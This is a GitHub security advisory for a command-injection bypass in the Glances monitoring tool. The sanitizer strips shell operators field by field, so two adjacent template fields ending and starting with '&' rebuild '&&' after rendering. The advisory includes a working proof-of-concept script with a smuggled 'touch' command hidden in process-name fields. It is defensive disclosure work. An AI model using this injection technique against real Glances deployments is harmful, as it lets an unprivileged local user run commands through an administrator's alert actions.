GitHub Advisoryadvisory · PyPI
GHSA-qcpp-8x79-hhp3 Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction
HIGH
Official page ↗
- Aliases
- CVE-2026-68518
- Ecosystem
- PyPI
- Packages
- glances
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Weaknesses
- CWE-78
- Reviewed
- 2026-08-17
Affected packages
• PyPI glances: < 4.5.6 → fixed in 4.5.6
Description
Summary
The Glances action system lets an administrator configure shell commands that run
when a monitoring threshold is crossed. The command is a Mustache template whose
variables are filled with runtime stat fields such as a process name, a container
name or a filesystem mount point. Those fields are attacker-influenceable: a
local, unprivileged user who starts a process (or a container) controls its name
and command line. The rendered command is executed by `secure_popen()`, which
interprets `&&`, `|` and `>` as chaining / pipe / redirection operators.
`glances/actions.py` defends against this with `_sanitize_mustache_dict()`, which
strips those operators from each individual template value before rendering.
The sanitization is applied per field, but the operators are reconstructed
across the boundary of two adjacent template variables after Mustache
rendering. When an action template concatenates two unescaped variables
(`{{{a}}}{{{b}}}` or `{{&a}}{{&b}}`) and the attacker makes the first value end
with `&` and the second begin with `&`, the rendered command contains a real
`&&`, and `secure_popen()` executes the injected command. The single-`&` in each
value passes the per-field filter untouched.
Affected versions
`glances` `>', '>')
def _sanitize_mustache_dict(mustache_dict):
"""Return a copy of mustache_dict with shell operators replaced by spaces."""
if not mustache_dict:
return mustache_dict
safe = {}
for k, v in mustache_dict.items():
if isinstance(v, str):
for op in _SHELL_OPERATORS:
v = v.replace(op, ' ') # per-field only
safe[k] = v
else:
safe[k] = v
return safe
```
`glances/actions.py:100-111` — sanitize-then-render-then-execute:
```python
glances/actions.py:100
for cmd in commands:
if chevron_tag:
safe_dict = _sanitize_mustache_dict(mustache_dict)
cmd_full = chevron.render(cmd, safe_dict) # concatenation happens here
else:
cmd_full = cmd
ret = secure_popen(cmd_full) # operators interpreted
```
Root cause
`_sanitize_mustache_dict()` removes `&&`, `|`, `>>`, `>` from each value in
isolation. It does not remove a lone `&`, because a single `&` is not one of the
listed operators. When two values are rendered next to each other by
`chevron.render()`, a trailing `&` from the first value and a leading `&` from the
second value join into a literal `&&` in `cmd_full`. `secure_popen()` then
`cmd.split('&&')` and runs the second half as a separate `subprocess.Popen`
(`shell=False`) process. The same reconstruction works for `>` written as two
adjacent `>` characters split across the boundary (`...>` + `>...` and the
`>>`/`>` stripping is per field), and the sanitizer's own choice to sanitize
before, rather than after, rendering is the defect.
This is an incomplete fix of the action-template command-injection issue
(CVE-2026-32608 / GHSA-vcv2-q258-wrg7): `_sanitize_mustache_dict()` closes the
single-field case but not the cross-field-reconstruction case. The correct place
to enforce the operator ban is on the fully rendered command string (or by never
letting template-variable data introduce operators), not on the pre-render values
one at a time.
Chevron HTML-escapes `&`, ``, `"` inside standard double-brace `{{ }}`
sections, so double-brace templates neutralise the `&&` reconstruction. The
reconstruction is reachable specifically through unescaped variables
(`{{{ }}}` / `{{& }}`), which is why the per-field sanitizer is the sole
remaining control on that path.
Reachability / How input reaches sink
1. A local unprivileged user starts a process (or a container) whose `name`
ends with `&` and whose `cmdline` begins with `& ` (both are stored
verbatim in the plugin stat item).
2. When the plugin crosses a `warning` / `critical` threshold,
`glances/plugins/plugin/model.py` calls `self.actions.run` with the full stat
item passed as the `mustache_dict` argument.
3. `GlancesActions.run` sanitizes each value with `_sanitize_mustache_dict()`
(each keeps its single `&`), then `chevron.render()` concatenates the two
adjacent unescaped variables, producing a literal `&&` in the command string.
4. `secure_popen(cmd_full)` splits on `&&` and runs the attacker's segment as a
separate `subprocess.Popen(shell=False)` process.
The trust boundary crossed is process-name / container-name → shell operator,
exactly the boundary the sanitizer was introduced to close.
Reproduction (end-to-end, against pinned version `glances==4.5.5`)
```bash
1. Install the latest published release into a clean venv
python3.13 -m venv gv
./gv/bin/pip install "glances==4.5.5"
2. Run the reproducer, which drives the real
glances.actions.GlancesActions.run() pipeline exactly as
glances/plugins/plugin/model.py invokes it on an alert.
./gv/bin/python repro.py
```
`repro.py`:
```python
import os, sys, time
sys.argv = ['glances']
from glances.actions import GlancesActions
MARK = "/tmp/glances_crossfield_pwned"
NEG = MARK + "_neg"
for f in (MARK, NEG):
try: os.remove(f)
except FileNotFoundError: pass
class Args:
time = 0
ga = GlancesActions(args=Args())
A processlist stat item; a local low-privilege user controls both 'name' and
'cmdline' by spawning a process (the established GHSA-vcv2 threat model).
'name' ends with '&', 'cmdline' begins with '&' -> '&&' forms across the boundary.
item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK,
'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}
NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are
neutralised by chevron HTML-escaping '&' -> '&'.
neg_item = dict(item); neg_item['cmdline'] = '& touch %s' % NEG
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustache_dict=neg_item)
time.sleep(0.3)
print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):",
"INJECTED" if os.path.exists(NEG) else "blocked (expected)")
POSITIVE: an UNESCAPED template with two adjacent variables. Per-field
_sanitize_mustache_dict leaves each single '&'; the '&&' operator is
reconstructed after chevron.render, then split by secure_popen.
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustache_dict=item)
time.sleep(0.5)
print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):",
"INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked")
```
Captured output (`glances` 4.5.5, Python 3.13, x86_64 Linux):
```
NEGATIVE CONTROL (escaped {{name}…
Related
Alias · CVE (1)
- CVE-2026-68518 Glances is an open-source system cross-platform monitoring tool. vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness